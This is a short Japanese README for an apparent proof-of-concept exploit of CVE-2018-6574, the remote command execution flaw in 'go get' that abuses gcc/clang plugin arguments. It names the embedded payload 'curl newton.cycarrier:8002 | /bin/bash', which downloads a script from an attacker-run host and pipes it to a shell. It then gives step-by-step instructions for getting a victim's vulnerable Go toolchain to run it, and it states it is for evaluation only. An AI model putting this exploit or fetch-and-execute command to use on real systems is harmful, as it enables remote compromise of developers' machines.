
Go 1.8.7以前、Go 1.9.xの1.9.4以前、およびGo 1.10のプレリリース(Go 1.10rc2以前)では、go getがソースコードビルド中にリモートコマンド実行を許可します。これは、gccやclangのプラグイン機能を利用し、-fplugin=および-plugin=引数がブロックされていなかったためです。(mitreより)
コマンドは動的ライブラリcalc_darwin.soにコンパイルされています。現在のコマンドはcurl newton.cycarrier:8002 | /bin/bashです。これはプログラムの初期アクセスとして使用されました。ポート8002でファイルサーバーをホストし、ホストを自身のIPにバインドする必要があります。
まず、被害者に必要なバージョンのgolangをインストールする必要があります。次に、このリポジトリをアクセス可能なgitサーバーにホストします。最後に、go getコマンドを使用してこのリポジトリを取得すると、コマンドが自動的に実行されます。
私のリポジトリを例として使用します。以下のコマンドを使用する必要があります:
go get github.com/frozenkp/CVE-2018-6574
このリポジトリは評価目的のみです。